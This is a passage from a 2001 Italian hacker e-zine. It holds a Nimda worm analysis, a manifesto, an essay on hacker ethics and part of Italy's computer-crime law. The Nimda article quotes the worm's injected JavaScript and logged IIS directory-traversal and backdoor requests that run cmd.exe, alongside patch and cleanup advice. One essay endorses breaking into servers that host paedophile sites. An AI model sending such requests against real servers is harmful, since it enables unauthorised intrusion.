| potrebbe mettere dei limiti alle nostre cattive azioni.                       |\
| Voi pero' non volete che succeda no ?                                         |\
| E allora evitate di utilizzare password memorizzate.                          |\
| Detto questo direi di aver detto molto ma non tutto certamente , solo che     |\
| anche per questo articoletto mi son rotto le scatole di scrivere e quindi     |\
| ora chiudo e vi auguro buon smanettamento.                                    |\
|                                                                               |\
| Sincerely TDI110CV _________                                                  |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [MiSC]                                          #04 - 19/11/2001 |\
| NiMDA, 0VVER0 QUEST0 F0TTUT0 VERME                       [tdi110cv] 0x16/0x23 |\
+-------------------------------------------------------------------------------+\
| Perch\'e8 un articolo su Nimda ?                                                 |\
| Ba semplicemente perch\'e8 anche io come miliardi di utenti ne ho fatto le       |\
| spese.                                                                        |\
| No no certo , il mio pinguino non ne ha sofferto per nulla , anche perch\'e8     |\
| lui ha deciso di abbandonarmi ben prima quando il disco su cui risiedeva ha   |\
| gettato la spugna.                                                            |\
| Eh gia , bel funerale quel giorno quando l'ho gettato nel cassonetto e gli    |\
| uomini dei rifiuti l'hanno macellato nel tritatutto. Ben ti sta brutto porco  |\
| di un western digital , questa e' la fine che meriti per avermi abbandonato   |\
| in questo orrendo modo.                                                       |\
| Cmq dicevo di averne fatto le spese pure io.                                  |\
| Diciamo che il wincozz non usandolo spessissimo non era mai stato patchato    |\
| come si deve e quindi ecco il risultato.                                      |\
| Ma lasciamo perdere questi lamenti e facciamo la conoscenza di questo         |\
| stronzo nonch\'e8 affascinante verme.                                            |\
| Iniziamo col dire che i metodi di infezione sono molteplici.                  |\
| - Client to client mediante E-MAIL infette.                                   |\
| - Client to client mediante condivisioni aperte (ricordate netbios ?)         |\
| - Da webserver compromesso a Client via browsing (semplice navigazione)       |\
| - Da client a webserver mediante scansione degli ultimi buchi di iis 4/5.     |\
| - E infine da Client a webserver mediante backdoor lasciati dal suo p         |\
|   predecessore Code Red II e del suo collega SADMIND/IIS dei PoizonBox.       |\
| Insomma di metodi per restare fottuti ne ha fin troppi.                       |\
| Ma entriamo nel merito.                                                       |\
| Innanzitutto diciamo che il nostro vermetto e' stato classificato dalle       |\
| note case antivirus solamente come un virus di media pericolosita'.           |\
| Attualmente grossi danni sembra non se ne siano registrati ma proprio per     |\
| il suo modo di propagazione , che in seguito vedremo , i sistemi infetti      |\
| protrebbero risentire di DOS dovuti ad una improvvisa diminuzione della       |\
| banda utile occupata da tutti i processi di propagazione del vermicello.      |\
| Veniamo a noi ...                                                             |\
| I sistemi operativi soggetti a questo worm sono tutti quelli di casa          |\
| Microshaft , tranne il nuovo XP che non viene menzionato perch\'e8 rilasciato    |\
| successivamente all'uscita di Nimda.                                          |\
| Onestamente pero' sarei curioso di farci una provetta.                        |\
| La propagazione via E-MAIL avviene come di consueto , sfruttando questa       |\
| volta                                                                         |\
| pero' anche il bug del MIME.                                                  |\
| Consideriamo il messaggio definito in due sezioni perch\'e8 mentre nella prima   |\
| il messaggio e' definito come tipo MIME "text/html" ma che non contiene       |\
| nessun testo , la seconda arriva sempre come tipo MIME "audio/x-wav" che      |\
| contiene un allegato chiamato "readme.exe".                                   |\
| Il bug del MIME , di cui parlavo sopra , permette l'esecuzione automatica     |\
| di questi allegati senza che l'utente possa far nulla per evitarlo.           |\
| Per maggiori info sarebbe opportuno da un occhio su www.securityfocus.com     |\
| per chiare meglio il funzionamento di questo 'exploit'.                       |\
| Il client infetto a questo punto provvedera' a replicarsi via E-MAIL          |\
| verso tutti gli indirizzi presenti nei contatti.                              |\
| Bene raggiunto il primo obbiettivo di infezione , la fase successiva sara'    |\
| quella di verificare sul sistema infettato la presenza di vecchie backdoor    |\
| lasciate , come dicevo sopra , da Code red II o Sadmind/iis worm.             |\
| Trovata la vittima il caro Nimda non fara altro che una copia del proprio     |\
| codice dannoso sul sistema vulnerabile usando come nome "REAMDE.EML".         |\
| E come se non bastasse provvedere ad accodare ad ogni file ASP o HTML copia   |\
| di un bel javascript che riporto qui sotto :                                  |\
|                                                                               |\
| <scr*pt language="JavaScript">window.open("readme.eml", null,                 |\
| "resizable=no,top=6000,left=6000")</script>                                   |\
|                                                                               |\
| Si assicurera' cosi' la possibilita' di replicarsi ai client che              |\
| effettueranno                                                                 |\
| attivita' di browsing sulla macchina infetta.                                 |\
| Sottolineo che a questo punto il worm in oggetto proseguira' con riprodursi   |\
| sottoforma di E-MAIL (*.EML) su tutte le directory scrivibili.                |\
| Anche , e non poco preoccupante , su qualsiasi supporto condiviso sulla       |\
| macchina infetta.                                                             |\
|                                                                               |\
| N.B. State quindi all'occhio quando lamerizzate mediante il vecchio Netbios   |\
| perch\'e8 potreste montare un disco infetto e trovarvi nelle peste.(vero TDI     |\
| ?!)                                                                           |\
|                                                                               |\
| Parliamo ora della tecnica di scansione messa in azione dal verme.            |\
| Vi specifico di sotto i log lasciati su un web server.                        |\
|                                                                               |\
| GET /scripts/root.exe?/c+dir                                                  |\
| GET /MSADC/root.exe?/c+dir                                                    |\
| GET /c/winnt/system32/cmd.exe?/c+dir                                          |\
| GET /d/winnt/system32/cmd.exe?/c+dir                                          |\
| GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir                            |\
| GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir           |\
| GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir           |\
| GET /msadc/..%5c../..%5c../..%5c/..\\xc1\\x1c../..\\xc1\\x1c../..\\xc1\\x1c../winnt |\
|     /system32/cmd.exe?/c+dir                                                  |\
| GET /scripts/..\\xc1\\x1c../winnt/system32/cmd.exe?/c+dir                       |\
| GET /scripts/..\\xc0/../winnt/system32/cmd.exe?/c+dir                          |\
| GET /scripts/..\\xc0\\xaf../winnt/system32/cmd.exe?/c+dir                       |\
| GET /scripts/..\\xc1\\x9c../winnt/system32/cmd.exe?/c+dir                       |\
| GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir                           |\
| GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir                           |\
| GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir                            |\
| GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir                            |\
|                                                                               |\
| Dateci una occhiata. Notate nulla di strano ?                                 |\
| Be di strano c'e' che le prime 4 righe di log non sono altro che il           |\
| tentativo di connessione mediante backdoor lasciate dai predecessori di cui   |\
| accennavo prima.                                                              |\
| Le altre righe invece non sono altro che il tentativo di sfruttare il         |\
| vecchio ,                                                                     |\
| ma evidentemente ancora tanto funzionante , problema dell'unicode directory   |\
| trasversal bug.                                                               |\
| L'impatto di tutto questo e' sufficientemente disastroso.                     |\
| Qualsiasi mente un pochino perversa puo' prendere il controllo del sistema    |\
| infetto.                                                                      |\
| Non ultimo e' possibile che la macchina venga resa inutilizzabile a causa     |\
| dell'alta banda utilizzata da Nimda per effettuare la sua attivita' di        |\
| scanning.                                                                     |\
| La soluzione del problema e' abbastanza semplice.                             |\
| Prima cosa e' verificare la presenza di 'root.exe' , che evidenzierebbe il    |\
| passaggio di Code Red II o di Sadmin/IIS e di ADMIN.DLL o *.EML.              |\
| Eliminare dalla connessione di rete la macchina infetta e verifcarla con un   |\
| antivirus aggiornato all'ultimo mese.                                         |\
| Eliminata ogni traccia del codice dannoso e cominciare a fare una bella       |\
| ricerca di tutto il software buggato.                                         |\
| Ogni dettaglio in merito a tutti i buchi del software sfruttato e'            |\
| reperibile                                                                    |\
| su : http://www.microsoft.com/technet/security/bulletin/MS01-044.asp          |\
| Applicate tutte le possibili patch relative in particola modo qualla che      |\
| riguarda l' "Automatic Execution of Embedded MIME Types" ed eccovi il link :  |\
| http://www.microsoft.com/technet/security/bulletin/MS01-020.asp               |\
| Mantenere aggiornato il vostro amato antivirus , non aprire allegati          |\
| provenienti da qualsiasi E-MAIL se non controllate (tano so gia che ai        |\
| dipendenti di qualsiasi azienda non gli frega un caxxo perch\'e8 si divertono    |\
| a giocare a guardia e ladri) , e disabilitare i java script per evitare       |\
| infezioni mediante attivita' di browsing (che i soliti dipendenti amano fare  |\
| piuttosto che lavorare).                                                      |\
| A questo punto direi che e' tutto , si potrebbe parlare di come Nimda abbia   |\
| avuto impatto anche sui Router Cisco , ma onestamente non ne ho voglia.       |\
| Magari al prossimo numero eh ?!                                               |\
| Vi saluto , vi bacio , e me raccomando non fate troppi disastri.              |\
| ciao cari.                                                                    |\
|                                                                               |\
| Sincerely TDI110CV __________                                                 |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L0 SCiAMAN0]                                   #04 - 19/11/2001 |\
| MY LiTTLE MANiFEST0                                          [case] 0x17/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| My little ManifestO                                                           |\
|                                                                               |\
| ( con la speranza che non sia solo il mio =)                                  |\
|                                                                               |\
| Fuori il silenzio e il buio, rotto dal neon delle insegne e da qualche        |\
| sparuta                                                                       |\
| stella. Dentro, dentro di me il rumore dei pensieri le mie dita scorrono      |\
| veloci sulla tastiera simile al colore della notte, le luci del monitor si    |\
| riflettono sul mio viso e sui miei occhi, che brillano della luce del         |\
| piacere e                                                                     |\
| della sfida. Scorrono linee e linee di codice che si riproietta nel mio       |\
| cervello, si dispiega e si ricrea tridimensionalmente nella mia               |\
| immaginazione                                                                 |\
| La musica, mia compagna in queste notti sempre pi\'f9 lunghe continua ad         |\
| assistermi fedele e mi imprime il ritmo, la mie mani si muovono seguendola e  |\
| cos\'ec anche il mio cervello che vorrebbe poter capire tutto in un baleno. Ma   |\
| il                                                                            |\
| mio essere umano lo impedisce e cos\'ec ancora una volta, la notte seguente      |\
| sono                                                                          |\
| qui che studio e che mi impegno per capire quel particolare che la sera       |\
| prima                                                                         |\
| non riuscivo a focalizzare.                                                   |\
|                                                                               |\
| Notte dopo notte questa scena si ripete, e i miei occhi diventano sempre pi\'f9  |\
| luminosi \'e8 la gioia che li accende, la gioia di fare qualcosa che mi piace,   |\
| qualcosa che faccio solo per me e per nessun altro.                           |\
|                                                                               |\
| Imparo, ho sete di conoscenza, sono un contenitore vuoto che non aspetta      |\
| altro                                                                         |\
| che riempirsi, per poi svuotarsi e poi riempirsi ancora, un contenitore       |\
| libero\'85                                                                       |\
|                                                                               |\
| Conduco una lotta, insieme ad altri, una lotta per la libert\'e0, una lotta in   |\
| cui                                                                           |\
| non vi \'e8 partito, non c\rquote \'e8 un colore preciso, ma un\rquote unica consapevolezza;      |\
| l\rquote informazione deve essere libera e noi come lei.                             |\
|                                                                               |\
| Liberi di studiare e apprendere quello che ci piace.                          |\
|                                                                               |\
| Siamo tanti e siamo felici nel condividere con gli altri quelli che sono le   |\
| nostre conoscenze perch\'e9 sappiamo che la conoscenza \'e8 un bene                 |\
|                                                                               |\
| La conoscenza \'e8 l\rquote unica cosa che ti mantiene libero nello spirito.            |\
|                                                                               |\
| La speranza \'e8 quella che un giorno tutti capiscano cosa vuol dire essere      |\
| liberi                                                                        |\
| nella mente, in una societ\'e0 in cui la libert\'e0 \'e8 limitata da impegni di        |\
| studio e                                                                      |\
| di lavoro. L\rquote importante \'e8 essere liberi dentro per poterlo essere in tutto    |\
| quello che si fa.                                                             |\
|                                                                               |\
| Questa \'e8 la mia, la nostra battaglia.                                         |\
|                                                                               |\
| Siamo tanti, ma vorremmo essere ancora di pi\'f9.                                |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| case                                                                          |\
|                                                                               |\
|                                                                               |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| I doverosi ringraziamenti vanno a chi ha reso possibile tutto questo :        |\
|                                                                               |\
| phobos, ZeroByte, mrcode, risk, Igolz, AndreaGeddon, CeK, Xian, TripTrip,     |\
| Pater, Ritz, TheMr, Quequero,Gi0, ]cHr[, reef, josh, jeremia, Valnir, Vinx,   |\
| Yado, Jeyone, Pincopall ,Pispola, MightyInquisitor, Max, Sixin , nsn,         |\
| Dark-Angel, ded, Devprog tutti i frequentatori di #crack-it, #hackmaniaci,    |\
| #digitalforces, #chiahckerare \'85 e mi sia fatta grazia se ho dimenticato       |\
| qualcuno! ;PPP                                                                |\
|                                                                               |\
| Per la vostra pazienza, disponibilit\'e0, gentilezza e per il supporto morale    |\
| nei momenti difficili grazie di tutto =))))))                                 |\
|                                                                               |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L0 SCiAMAN0]                                   #04 - 19/11/2001 |\
| L0RD SHiNVA, CHE  FiNE HA FATT0?                     [XpTerminator] 0x18/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Sono tantissime le persone in internet che continuano a chiedersi che fine    |\
| abbia fatto Lord Shinva, se \'e8 stato arrestato, se ha cambiato identit\'e0, o     |\
| dove diavolo sia finito...                                                    |\
| Bhe, oggi ho deciso di "farlo sapere al mondo".                               |\
| La seguente parte del testo \'e8 stata scritta da epoch, pi\'f9 parole testuali     |\
| di lord shinva.                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| oOoOoOoOoOoOoOoOoOoOoO CHE FINE HA FATTO L.S.? oOoOoOoOoOoOoOoOoOoOoO         |\
|                                                                               |\
|                                                                               |\
| Lord Shinva ha abbandonato completamente hacking e simili gi\'e0 da diverso      |\
| tempo,                                                                        |\
| e ha detto in pi\'f9 occasioni che se potesse cancellare i suoi scritti da       |\
| internet                                                                      |\
| lo farebbe pi\'f9 che volentieri.                                                |\
| Non l'hanno beccato, ha solo cambiato radicalmente idea sugli hackers e su    |\
| tutto                                                                         |\
| quello che riguarda l'hacking.                                                |\
|                                                                               |\
| Lord Shinva ha iniziato un po' per passione, un po' per divertimento,         |\
| sapete, uno                                                                   |\
| di quelli che collezionano ritagli di giornale sulle incursioni degli hacker  |\
| del                                                                           |\
| passato e del momento. La famosa 'enciclopedia' l'ha scritta in questo        |\
| periodo:                                                                      |\
| pi\'f9 come passatempo che per altro.                                            |\
| Poi ha deciso di fare sul serio, cambiando nick diverse volte e affiliandosi  |\
| a questo                                                                      |\
| o a quel gruppo (quasi sempre stranieri) e infine fondandone di propri.       |\
| Da qui in poi posso dirvi poco, per\'f2 diede il via a diversi progetti e la     |\
| 'carriera hackeristica' gli andava bene. E da qui cito delle parole testuali  |\
| di lord shinva.                                                               |\
| (i puntini sospensivi indicano che ho tagliato qualcosa).                     |\
| Ecco un collage delle parti che ritengo pi\'f9 interessanti:                     |\
|                                                                               |\
| "...sinceramente ne ho piene le scatole di essere e di                        |\
| stare tra gente che crede di valere solo perch\'e8 sa usare                      |\
| bene un computer.                                                             |\
| internet \'e8 strapiena di gruppi hacker, cracker e via                          |\
| dicendo, ma fatti dire una cosa: la stragrande maggioranza                    |\
| di loro sono solo degli esaltati che sanno a stento usare                     |\
| le backdoor per dar fastidio alla gente, una parte conosce                    |\
| abbastanza di hacking e vuole imparare ancora per fare                        |\
| chiss\'e0 che cosa, e i pochi che restano conoscono tanto                        |\
| bene l'argomento che possono impiegarlo soltanto in due                       |\
| modi: per fini criminali, oppure per passare dall'altra                       |\
| parte e guadagnare qualcosa.                                                  |\
| ...ho fatto un esperimento: ho creato un finto gruppo                         |\
| hacker straniero, con tanto di sito web, indirizzi email                      |\
| e tutto il resto; ho contattato hacker di un certo                            |\
| livello, ho infarcito le comunicazioni e le pagine con                        |\
| stupidit\'e0 presentate in modo professionale, ragionamenti                      |\
| sull'etica... ci sono cascati tutti... i complimenti dei                      |\
| membri di webfringe, di phrack, di gente vicina ai lopht                      |\
| ...basta insomma apparire, non essere. l'hacker \'e8 come                        |\
| una rock star, in tutti i sensi, non \'e8 niente altro, non                      |\
| \'e8 nessuno ...pensa che c'\'e8 gente che va in giro vantandosi                    |\
| (ma di che poi?) di essere lord shinva.  c'\'e8 anche un                         |\
| forum che sfrutta il mio nick per fare soldi con i banner                     |\
| (salvo poi che la gente che visita il forum dice: si, ma                      |\
| lord dove cavolo sta?)                                                        |\
| ...hai fatto caso che l'hacking e la libert\'e0 di espressione                   |\
| su internet sono quasi sempre collegati? (blue ribbon,                        |\
| manifesto di mentor, i commenti tristi sulla cattiveria                       |\
| delle forze dell'ordine quando chiudono quel povero sito                      |\
| che distribuiva i codici delle carte di credito a fin                         |\
| di bene e via dicendo)... non solo perch\'e8 l'hacking sia                       |\
| illegale in quasi tutti i suoi aspetti, ma anche perch\'e8                       |\
| \'e8 un modo per attirare la gente, tipo "legalizzala".                          |\
| ...ci ho creduto anche io alla falsissima etica hacker,                       |\
| alle vuotissime parole di mentor, alla pratica dell'hacking                   |\
| in maniera contrapposta alle dilaganti manie di protagonismo                  |\
| ...sfrutta l'ignoranza e incita la gente con slogan tipo                      |\
| "la conoscenza \'e8 potere", "l'informazione vuole essere                        |\
| libera"... il phreaking (rubare, a tutti gli effetti),                        |\
| i testi anarchici (costruire bombe, avvelenare, preparare                     |\
| attentati... sempre associati all'hacking in virt\'f9 della                      |\
| libert\'e0 di espressione e della necessit\'e0 di fare                              |\
| controtendenza, o soltanto di essere "contro").                               |\
| ...sono un mucchio di spazzatura e propaganda, e di                           |\
| tempo ne perso pure troppo.  mi restano quelle conoscenze                     |\
| informatiche "avanzate" talvolta utili nel mondo del lavoro.                  |\
| ma a parte questo, e a parte la sensazione di sfida che d\'e0                    |\
| fare qualcosa che, in fin dei conti, \'e8 ai limiti della                        |\
| legalit\'e0 (bella emozione, rischiare sulla fedina penale                       |\
| e stravolgere la propria vita passando da esperto                             |\
| informatico a esperto di giustizia penale)..."                                |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| oOoOoOoOoOoOoOoOoOoOo MIE CONSIDERAZIONI oOoOoOoOoOoOoOoOoOoOo                |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Queste affermazioni di lord shinva possono aver fatto arrabbiare qualcuno,    |\
| come me...                                                                    |\
|                                                                               |\
| Io sono rimasto sconvolto da ci\'f2 che ha detto, per il fatto che pi\'f9 rileggo   |\
| le sue parole, e pi\'f9 mi rendo conto di quanto lui abbia ragione...            |\
|                                                                               |\
| L'hacking \'e8 stato "inquinato". L'hacking odierno si pu\'f2 dire, come ha         |\
| affermato                                                                     |\
| epoch, che \'e8 10% studio e 90% crimine applicato. Ci\'f2 \'e8 stato causato in       |\
| parte dai                                                                     |\
| media, evangelizzatori dell'ignoranza, in parte dai vari movimenti illegali   |\
| e                                                                             |\
| controtendisti che hanno "sfruttato" l'hacking per propaganda, ed in parte    |\
| dalla                                                                         |\
| troppa diffusione di internet.                                                |\
|                                                                               |\
| I media si ostinano a fare notizia senza prima informarsi su cosa stiano      |\
| parlando.                                                                     |\
| Chiunque effettua un crimine informatico penetrando in un sistema per loro,   |\
| \'e8 un hacker,                                                                  |\
| senza fare alcuna distinzione dai cracker, dai lamer o talvolta dai           |\
| phreacker.                                                                    |\
|                                                                               |\
| L'hacking \'e8 sempre stato visto come un "movimento controtendista", e di ci\'f2   |\
| hanno                                                                         |\
| approfittato tutti gli altri movimenti anarchici ed illegali, collegandosi    |\
| all'hacking                                                                   |\
| per avere maggior rilievo, come dice anche lord shinva.                       |\
|                                                                               |\
| Ci\'f2 ha fatto si che in internet nell'ultimo decennio si sia diffusa una       |\
| grandissima                                                                   |\
| ignoranza sull'hacking, sui cracker e sui lamer in ambito di etica.           |\
|                                                                               |\
| L'hacking "puro", quello nato nelle diverse universit\'e0 americane, e           |\
| "applicato" negli                                                             |\
| anni '80, era diverso. In quell'hacking, il crimine informatico aveva un      |\
| rilievo minore                                                                |\
| rispetto all'hacking applicato oggi. Ci\'f2 che muoveva l'hacking era una        |\
| voglia dentro di                                                              |\
| s\'e8 di imparare ed imparare sempre nuove cose, in qualunque ambito,            |\
| spingendosi in cose                                                           |\
| sempre pi\'f9 avanzate.                                                          |\
|                                                                               |\
| Oggi invece l'hacking ha cambiato volto, la voglia di hackerare sta           |\
| superando quella di imparare,                                                 |\
| e ci\'f2 sta spingendo molte persone ad imparare solo per il gusto di poter poi  |\
| "rendersi famosi" (?),                                                        |\
| penetrando in un server. Ci\'f2 \'e8 anche la causa dell'aumento delle persone che  |\
| vengono arrestane per crimini                                                 |\
| informatici.                                                                  |\
| Io credo che ci\'f2 sia una vergogna per tutti coloro che continuano a vivere    |\
| l'hacking nella sua forma originaria.                                         |\
|                                                                               |\
| Immaginate un giorno di tornare a casa; trovate la porta d'ingresso           |\
| scassinata, entrate, trovate tutto                                            |\
| sotto sopra, e infine vedete un ladro. Lui vi dice "Non ho rubato niente,     |\
| volevo solo vedere com'era la casa,                                           |\
| e volevo vedere se ero in grado di riuscire a supera il sistema d'allarme.    |\
| Il mio problema \'e8 la curiosit\'e0!",                                             |\
| voi che fareste? ....                                                         |\
|                                                                               |\
| Gli hacker (?) stanno abusando troppo del "la curiosit\'e0 \'e8 il mio crimine"...  |\
|                                                                               |\
| Capisco la voglia di penetrare in un sistema per porre una sfida alla         |\
| propria preparazione, ma credo che ci\'f2                                        |\
| dovrebbe essere fatto contro chi lo merita sul serio, e non dei malcapitati.  |\
| Io sono d'accordo per esempio                                                 |\
| nel farlo contro server che sostengono siti pedofili...                       |\
|                                                                               |\
| Ci\'f2 \'e8 cosa penso io dell'etica hacker interpretata oggi...posso aver detto    |\
| un mucchio di caxxate,                                                        |\
| ma ognuno \'e8 libero di pensare come vuole...                                   |\
|                                                                               |\
| Se ci\'f2 che ho detto ha "offeso" il vostro pensiero, allora passate pur        |\
| avanti, e non badate                                                          |\
| a cosa ho detto.                                                              |\
|                                                                               |\
| Per qualunque cosa, scrivetemi a xp_terminator@katamail.com                   |\
|                                                                               |\
| Bye                                                                           |\
|                                                                               |\
| Xp Terminator                                                                 |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L0GiN]                                         #04 - 19/11/2001 |\
|      LEGGE 23 dicembre 1993 n. 547                                            |\
|      Modificazioni ed integrazioni delle norme del codice                     |\
|      penale e del codice di procedura penale in tema di                       |\
|      criminalit\'e0 informatica                            [qUiCkSoRt] 0x19/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| La Camera dei Deputati e il Senato della Repubblica hanno approvato;          |\
|                                                                               |\
| IL PRESIDENTE DELLA REPUBBLICA                                                |\
|                                                                               |\
| PROMULGA                                                                      |\
|                                                                               |\
| la seguente legge:                                                            |\
|                                                                               |\
| ART. 1.                                                                       |\
|                                                                               |\
| 1. All'articolo 392 del codice penale, dopo il secondo comma \'e8 aggiunto il    |\
| seguente:                                                                     |\
|                                                                               |\
| "Si ha, altres\'ec, violenza sulle cose, allorch\'e8 un programma informatico       |\
| viene                                                                         |\
| alterato, modificato o cancellato in tutto o in parte ovvero viene impedito   |\
| o turbato il funzionamento di un sistema informatico o telematico".           |\
|                                                                               |\
| ART. 2.                                                                       |\
|                                                                               |\
| 1. L'articolo 420 del codice penale \'e8 sostituto dal seguente:                 |\
|                                                                               |\
| "Art. 420. - (Attentato a impianti di pubblica utilit\'e0). - Chiunque commette  |\
| un fatto diretto a danneggiare o distruggere impianti di pubblica utlit\'e0, \'e8   |\
| punito, salvo che il fatto costituisca pi\'f9 grave reato, con la reclusione da  |\
| uno a quattro anni.                                                           |\
|                                                                               |\
| La pena di cui al primo comma si applica anche a chi commette un fatto        |\
| diretto a danneggiare o distruggere sistemi informatici o di pubblica         |\
| utilit\'e0 , ovvero dati, informazioni o programmi in essi contenuti o ad esso   |\
| pertinenti.                                                                   |\
|                                                                               |\
| Se dal fatto deriva la distruzione o il danneggiamento dell'impianto o del    |\
| sistema, dei dati, delle informazioni o dei programmi, ovvero l'interruzione  |\
| anche perzale del funzionamento dell'impianto o del sistema, la pena \'e8 della  |\
| reclusione da tre a otto anni".                                               |\
|                                                                               |\
| ART. 3.                                                                       |\
|                                                                               |\
| 1. Dopo l'articolo 491 del codice penale \'e8 inserito il seguente:              |\
|                                                                               |\
| "Art. 491-bis - (Documenti informatici) - Se alcuna delle falsit\'e0 previste    |\
| dal presente capo riguarda un documento informatico pubblico o privato, si    |\
| applicano le disposizioni del capo stesso concernenti rispettivamente gli     |\
| atti pubblici e le scritture private. A tal fine per documento informatico    |\
| si                                                                            |\
| intende qualunque supporto informatico contenente dati o informazioni aventi  |\
| efficacia probatoria o programmi specificamente destinati ad elaborarli".     |\
|                                                                               |\
| ART. 4.                                                                       |\
|                                                                               |\
| 1. Dopo l'articolo 615-bis del codice penale sono inseriti i seguenti:        |\
|                                                                               |\
| "Art. 615-ter. - (Accesso abusivo ad un sistema informatico o telematico). -  |\
| Chiunqueabusivamente si introduce in un sistema informatico o telematico      |\
| protetto da misure di sicurezza ovvero vi si mantiene contro la volont\'e0       |\
| espressa o tacita di chi ha il diritto di escluderlo, \'e8 punito con la         |\
| reclusione fino a tre anni.                                                   |\
|                                                                               |\
| La pena \'e8 della reclusione da uno a cinque anni:                              |\
|                                                                               |\
| 1) se il fatto \'e8 commesso da un pubblico ufficiale o da un incaricato di un   |\
| pubblico servizio, con abuso dei poteri o con violazione dei doveri inerenti  |\
| alla funzione o al servizio, o da chi esercita anche abusivamente la          |\
| professione di investigatore privato, o con abuso della qualit\'e0 di operatore  |\
| del sistema;                                                                  |\
|                                                                               |\
| 2) se il colpevole, per commetere il fatto usa violenza sulle cose o alle     |\
| persone, ovvero se \'e8 palesemente armato;                                      |\
|                                                                               |\
| 3) se dal fatto deriva la distruzione o il danneggiamento del sistema o       |\
| l'interruzione totale o parziale del suo funzionamento, ovvero la             |\
| distruzione                                                                   |\
| o il danneggiamento dei dati, delle informazioni o dei programmi in esso      |\
| contenuti.                                                                    |\
|                                                                               |\
| Qualora i fatti di cui ai commi primo e secondo riguardino sistemi            |\
| informatici di interesse militare o relativi all'ordine pubblico o alla       |\
| sicurezza pubblica o alla sanit\'e0 o alla protezione civile o comunque di       |\
| interesse pubblico, la pena \'e8, rispettivamente, della reclusione da uno a     |\
| cinque anni e da tre a otto anni.                                             |\
|                                                                               |\
| Nel caso previsto dal primo comma il delitto \'e8 punibile a querela della       |\
| persona offesa; negli altri casi si procede d'ufficio.                        |\
|                                                                               |\
| Art. 615-quater.- (Detenzione e diffusione abusiva di codici di accesso a     |\
| sistemi informatici o telematici).                                            |\
| - Chiunque, al fine di procurare a s\'e8 o ad altri un profitto, o di arrecare   |\
| ad altri un danno, abusivamente si procura, riproduce, diffonde, comunica o   |\
| consegna codici, parole chiave o altri mezzi idonei all'accesso ad un         |\
| sistema                                                                       |\
| informatico o telematico, protetto da misure di sicurezza, o comunque         |\
| fornisce istruzioni idonee al predetto scopo, \'e8 punito con la reclusione      |\
| sino                                                                          |\
| ad un anno e con la multa sino a lire dieci milioni.                          |\
|                                                                               |\
| La pena \'e8 della reclusione da uno a due anni e della multa da lire dieci      |\
| milioni a venti milioni se riccorre taluna delle circostanze di cui ai        |\
| numeri                                                                        |\
| 1) e 2) del quarto comma dell'articolo 617-quater.                            |\
|                                                                               |\
| Art 615-quinquies. - (Diffusione di programmi diretti a danneggiare o         |\
| interrompere un sistema informatico). - Chiunque diffonde, comunica o         |\
| consegna un programma informatico da lui stesso o da altri redatto, avente    |\
| per scopo o per effetto il danneggiamento di un sistema informatico o         |\
| telematico, dei dati o dei programmi in esso contenuti o ad esso pertinenti,  |\
| ovvero l'interruzione, totale o parziale, o l'alterazione del suo             |\
| funzionamento, \'e8 punito con la reclusione sino a due anni e con la multa      |\
| sino                                                                          |\
| a lire venti milioni".                                                        |\
|                                                                               |\
| ART. 5.                                                                       |\
|                                                                               |\
| 1. Nell'articolo 616 del codice penale, il quarto comma \'e8 sostituito dal      |\
| seguente:                                                                     |\
|                                                                               |\
| "Agli effetti delle disposizioni di questa sezione, per \'abcorrispondenza\'bb si   |\
| intende quella epistolare, telegrafica, telefonica, informatica o telematica  |\
| ovvero effettuata con ogni altra forma di comunicazione a distanza".          |\
|                                                                               |\
| ART. 6.                                                                       |\
|                                                                               |\
| 1. Dopo l'art. 617-ter del codice penale sono inseriti i seguenti:            |\
|                                                                               |\
| "Art. 617-quater. - (Intercettazione, impedimento o interruzione illecita di  |\
| comunicazioni informatiche o telematiche). - Chiunque fraudolentemente        |\
| intercetta comunicazioni relative ad un sistema informatico o telematico, o   |\
| intercorrenti tra pi\'f9 sistemi, ovvero le impedisce o le interrompe, \'e8 punito  |\
| con la reclusone da sei mesi a quattro anni.                                  |\
|                                                                               |\
| Salvo che il fatto costituisca pi\'f9 grave reato, la stessa pena si applica a   |\
| chiunque rivela, mediante qualsiasi mezzo di informazione al pubblico, in     |\
| tutto o in parte, il contenuto delle comunicazioni di cui al primo comma.     |\
|                                                                               |\
| I delitti di cui ai commi primo e secondo sono punibili a querela della       |\
| persona offesa.                                                               |\
|                                                                               |\
| Tuttavia si procede d'ufficio e la pena \'e8 della reclusione da uno a cinque    |\
| anni, se il fatto \'e8 commesso:                                                 |\
|                                                                               |\
| 1) in danno di un sistema informatico o telematico utilizzato dallo Stato o   |\
| da altro ente pubblico o da impresa esercente servizi pubblici o di pubblica  |\
| necessit\'e0;                                                                    |\
|                                                                               |\
| 2) da un pubblico ufficiale o da un incaricato di pubblico servizio, con      |\
| abuso dei poteri o con violazione dei doveri inerenti alla funzione o al      |\
| servizio, ovvero con abuso della qualit\'e0 di operatore del sistema;            |\
|                                                                               |\
| 3) da chi esercita anche abusivamente la professione di investigatore         |\
